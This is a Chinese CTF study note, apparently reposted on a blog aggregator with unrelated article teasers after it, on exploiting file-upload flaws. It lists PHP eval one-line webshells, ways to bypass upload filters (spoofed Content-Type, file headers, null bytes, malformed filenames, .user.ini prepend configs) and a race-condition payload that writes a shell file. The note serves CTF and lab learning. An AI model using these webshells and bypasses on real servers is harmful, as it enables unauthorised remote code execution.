【CTF笔记】文件上传漏洞

news/2025/2/7 22:11:48/文章来源:https://www.cnblogs.com/Hel1um17/p/18703375

一、后门代码

1、一句话后门

<?php @eval($_get['cmd']); ?>
<?php @eval($_request['cmd']);?>
<script language="php">@eval($_post['cmd']);</script>

注意,在PHP中配置 short_open_tag=on 时,图片中不能含有 <? ,有会影响PHP代码的解析,导致图片马解析错误

2、其他后门代码

后门代码变形见:变形
注: assert() 函数在高版本好像不能直接用,详见:php手册
二次渲染生成图片马(如upload-labs16关)见:二次渲染

二、WAF绕过

1、允许的后缀名测试

使用 BurpSuite 中的 Intruder 爆破可行的后缀名,包括大小写等
字典见:字典

2、更改数据包内容

a、Content-Type

更改Content-Type为图片等,常见的见:MIME类型

b、文件头

更改文件头实现绕过,常用的文件头见:文件头

c、加入特殊字符

如:

空格
.
::$data
//注意,以下两个的区别为get方式会自动解码,而post不会,所以需要自己编码后再发送
%00
0x00
0x0a

注意,可以使用双写某些字符实现对单次过滤的绕过

d、更改保存路径

当可以更改保存名称时,可以更改保存名称为 WebShell.php/.

当通过数组截取后缀名来判断时,可以使用

save_name[0]=WebShell.php/
//具体索引由代码审计中来
save_name[2]=png

原理见upload-labs21

e、其他

其他中的方法来自小迪师傅,因脑洞太大此处不好描述,视频见:小迪安全
在数据包中增加垃圾数据,在数据包大小超过某一限制时,从而直接放行
在数据包文件名处更改filename="WebShell.php"的形式为:

filename="WebShell.php
filename="WebShell.php'
filename=WebShell.php
filename="xxx"WebShell.php
filename="x.jpg;.php"
filename="WebShell.
p
h
p
"
//先看以哪个为准,之后在为准的那个改为php后缀
filename="a.jpg";filename="b.jpg";filename="c.jpg"

部分:
部分PayLoad

3、上传某些配置文件

a、上传Apache下的 .htaccess 文件

上传 .htaccess 实现让PHP解析WebShell.png为php文件等操作
.htaccess 的内容我就不放了,百度即可(其实我试了半天愣是不行 /_ \ )

b、.user.ini

上传 .user.ini 文件,其中配置

//在前面插入WebShell.png
auto_prepend_file=WebShell.png
//在后面插入WebShell.png
auto_append_file=WebShell.png

实现对此目录下的PHP文件,插入到正常PHP文件中并以PHP解析WebShell.png

4、其他方法

a、条件竞争

适用于先上传再判断合规与否的情况
一个 Intruder 负责发包,使文件上传,另一个 Intruder 负责访问,负责访问PHP代码,使其执行将WebShell写到目录中

<?php fputs(fopen('shell.php','w'),'<?php phpinfo();?>');?>

b、常见中间件解析漏洞

Apache换行解析漏洞等,详见:PDF资料

c、文件包含漏洞

配合文件包含漏洞,解析图片马

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/880252.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

​​2025年中非人工智能产业发展论坛征文来了!网络空间安全专业论文投稿建议(附文件全文)

2025年中非人工智能产业发展论坛征文来了!网络空间安全专业论文投稿建议(附文件全文)2025年中非人工智能产业发展论坛由广西产学研科学研究院、天津科学技术出版社、马里共和国驻华大使馆等单位联合举办,南宁市人工智能学会、IRNet国际学术交流中心承办,拟于2025年9月召开…

Tita 项目管理:前后置业务流程的得力助手

在当今竞争激烈的商业环境中,高效的项目管理对于企业的成功至关重要。而项目前后置业务流程的顺畅运作,更是决定项目成败的关键因素。接下来,让我们一起看看项目前后置业务流程的常见应用场景,以及 Tita 项目管理产品如何发挥重要作用。 项目启动前:精准规划,奠定成功基础…

P3405 [USACO16DEC] Cities and States S(哈希算法)

总的来说这是一道简单的哈希算法,由于是字符串,所以哈希编码时只用乘26就行了

虚拟化技术介绍

一、虚拟化技术简介 虚拟化(Virtualization)的含义很广泛。将任何一种形式的资源抽象成另一种形式的技术都是虚拟化,是资源的一种逻辑表示。解除了物理硬件和操作系统之间的紧耦合关系。虚拟化是云计算的基础。简单地说,虚拟化使得在一台物理的服务器上可以跑多台虚拟机,虚…

地平线 3D 目标检测 Bevformer 参考算法 V2.0

该示例为参考算法,仅作为在 征程 6 上模型部署的设计参考,非量产算法 简介 BEVFormer 是当前热门的自动驾驶系统中的 3D 视觉感知任务模型。BEVFormer 是一个端到端的框架,BEVFormer 可以直接从原始图像数据生成 BEV 特征,无需依赖于传统的图像处理流程。它通过利用 Transf…

.NET周刊【1月第3期 2025-01-19】

国内文章 互联网不景气了那就玩玩嵌入式吧,用纯.NET开发并制作一个智能桌面机器人(一):从.NET IoT入门开始 https://www.cnblogs.com/GreenShade/p/18667671 文章介绍了一款基于树莓派Zero 2W和.NET技术的智能桌面机器人。作者因对该项目的兴趣与网友需求而进行开发。产品结…

AUTOSAR 学习笔记

AUTOSAR 学习笔记 概述 ​ 本文章为0基础小白记录AUTOSAR学习笔记。如有错误,欢迎评论区指正。个人笔记模式习惯采用提问式记录,也是这篇文章的主要记录模式。 补充,大篇幅文章推荐: 《AutoSAR入门到精通系列讲解》作者:雪云飞星 https://blog.csdn.net/xyfx_fhw/category…

Win11环境下安装Oracle Databases 11g 遇到[INS-13001]环境不满足最低要求解决办法

找到你解压后的文件,点击打开database文件夹 -->stage文件夹 -->cvu文件夹 -->cvu_prereq.xml文件,用记事本打开cvu_prereq.xml文件; 在这个<CERTIFIED_SYSTEMS>。。。</CERTIFIED_SYSTEMS>语句之间增加如下代码: ...... <CERTIFIED_SYSTEMS> &…

Zookeeper入门api与应用

一、 说明 Zookeeper作为一个分布式的服务框架,主要用来解决分布式集群中应用系统的一致性问题,它能提供基于类似于文件系统的目录节点树方式的数据存储,但是 Zookeeper并不是用来专门存储数据的,它的作用主要是用来维护和监控你存储的数据的状态变化。通过监控这些数据状态…

马走日(结论题)

这道题本质上,是一道结论题,结论如下: 1.小尺寸处理: 如果点阵的行或列有一个为1,则马无法移动,只能留在起点,此时答案为1。 如果点阵的最小边为2,则马只能沿着较长的边移动,每次移动步长为2,此时答案为较长边的一半加1。 2.中等尺寸处理: 当点阵为3x3时,马无法到达…

[lnsyoj1158] 淘淘蓝蓝之幻影树

dp题意sol 若某一方胜利,则设该方战胜的区间为 \([l_i,r_i]\),那么过程可描述为 \(1\) 打败 \([l_1,r_1]\),\(2\) 打败 \(l_2,r_2\)…………\(k\) 打败 \([l_k,r_k]\)。显然,\(k\) 打败 \([l_k,r_k]\)…………\(2\) 打败 \(l_2,r_2\),\(1\) 打败 \([l_1,r_1]\) 与之等价,…

NAS——强化学习结合CNN

一. 子模型的基本架构子模型由N个卷积单元和M个缩减单元按一定规则排列后加上GAP层、FC层和Softmax层组成。关键:通过引入卷积单元和缩减单元,充分发挥了CNN模型强大的特征提取能力。 整个结构中后面三层是确定的,中间的卷积单元和缩减单元要从搜索空间中获取。 二. 搜索空间…